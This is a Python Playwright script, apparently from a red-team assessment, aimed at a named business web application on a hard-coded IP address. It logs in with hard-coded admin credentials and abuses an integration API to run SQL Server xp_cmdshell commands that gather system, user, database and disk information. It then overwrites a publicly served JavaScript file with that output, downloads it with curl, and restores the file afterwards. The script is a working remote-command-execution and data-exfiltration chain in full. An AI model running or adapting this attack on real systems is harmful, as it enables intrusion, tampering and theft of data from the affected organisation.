#!/usr/bin/env python3
"""Place sysinfo in IIS-served resources directory as .js file."""
import asyncio, re, subprocess, os, time
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_xp(sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        async def run_fileop(source_file, dest_folder):
            put = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Copy", intStepTypeId:4, intConnectionId:1, strFileName:"' + source_file + '", strDestinationFolder:"' + dest_folder + '", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","strFileName","strDestinationFolder","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''')
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strFileName:null, strDestinationFolder:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        webroot = "D:\\\\i21App\\\\" + APP
        temp_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.txt"

        # Step 1: Collect sysinfo to temp
        print("\n=== Step 1: Collect sysinfo ===")
        sql_collect = "EXEC xp_cmdshell 'systeminfo > " + temp_file + " & whoami >> " + temp_file + " & echo. >> " + temp_file + " & echo ===SQLROLE=== >> " + temp_file + " & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DATABASES=== >> " + temp_file + " & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DISK=== >> " + temp_file + " & wmic logicaldisk get caption,freespace,size >> " + temp_file + "', no_output"
        s = await run_xp(sql_collect)
        print(f"  collect: {s}")
        await asyncio.sleep(1)

        # Step 2: OVERWRITE existing offline.min.js with sysinfo content
        # This file is served by IIS (200) — overwriting bypasses cache issue
        print("\n=== Step 2: Overwrite offline.min.js with sysinfo ===")
        dest_folder = webroot + "\\\\resources\\\\js\\\\offline\\\\js\\\\"
        s = await run_fileop(temp_file, dest_folder)
        print(f"  copy (overwrite): {s}")
        await asyncio.sleep(2)

        # Step 3: Download the overwritten file
        download_url = f"http://{IP}/{APP}/resources/js/offline/js/offline.min.js"
        local_path = f"/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_{IP}_{APP}.txt"
        print(f"\n=== Step 3: Download {download_url} ===")
        dl = subprocess.run(["curl", "-sS", "-m", "30", "-o", local_path, "-w", "%{http_code}", download_url],
                           capture_output=True, text=True, timeout=45)
        code = dl.stdout.strip()
        if code == "200" and os.path.exists(local_path):
            size = os.path.getsize(local_path)
            print(f"  ✅ HTTP {code} size={size}")
            with open(local_path) as f:
                content = f.read()
            print(f"  Content (first 20 lines):")
            for line in content.split("\n")[:20]:
                print(f"    {line[:80]}")
        else:
            print(f"  ❌ HTTP {code}")
        await asyncio.sleep(1)

        # Step 4: Restore original file — re-copy from build/production
        print(f"\n=== Step 4: Restore original file ===")
        # The original offline.min.js is in build/production/desktop/resources
        # Try copying back from there
        restore_sql = "EXEC xp_cmdshell 'copy " + webroot + "\\\\build\\\\production\\\\desktop\\\\resources\\\\iRely.External\\\\plugins\\\\offline\\\\1.0.2\\\\js\\\\offline.min.js " + webroot + "\\\\resources\\\\js\\\\offline\\\\js\\\\offline.min.js /Y', no_output"
        s = await run_xp(restore_sql)
        print(f"  restore: {s}")

        # Cleanup temp
        s = await run_xp("EXEC xp_cmdshell 'del " + temp_file + "', no_output")
        print(f"  cleanup temp: {s}")

asyncio.run(main())
